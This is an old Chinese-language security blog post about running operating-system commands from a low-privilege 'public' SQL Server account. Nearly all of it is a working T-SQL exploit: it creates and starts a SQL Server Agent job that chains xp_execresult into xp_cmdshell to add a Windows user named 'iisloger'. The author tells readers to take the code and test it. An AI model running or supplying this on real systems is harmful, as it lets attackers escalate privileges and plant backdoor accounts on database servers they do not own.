执行外部系统命令:有关public权限执行系统命令

on 2009-9-12 in 安全 | 0 Comment
作者:伤心鱼[BCT]
鬼仔's Blog( 500)this.width=500;">
SQL Server Agent 这服务必须开启

开启服务后进入查询分析器. 这里我是用新建public用户

首先 Select host_name 获取当前库服务器机器名
然后在查询分析器执行下面代码 USE msdb
EXEC sp_add_job @job_name = 'GetOnSQL',
@enabled = 1,
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'GetOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresult N''select ''''exec
master..xp_cmdshell "net user iisloger hook ./add> c:\fish.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetOnSQL',
@server_name = '这里是你SQL服务器名'
EXEC sp_start_job @job_name = 'GetOnSQL'
以上代码就很明显了 直接net user了个iisloger用户 群里N个人都被我忽悠了 不过这个确实是public权限可以加用户 但是前提条件确是…. XXXX
哈哈 不多说了直接拿去测试好了 也算是种思路吧 没事就去疯鱼群里扯淡哈

  • 上篇文章: 有关<< 2行代码解决全部网页木马>>文章

  • 下篇文章: 没有了
    • Tags:  系统命令 public权限 mysql执行系统命令 执行外部系统命令

    延伸阅读

    最新评论

    发表评论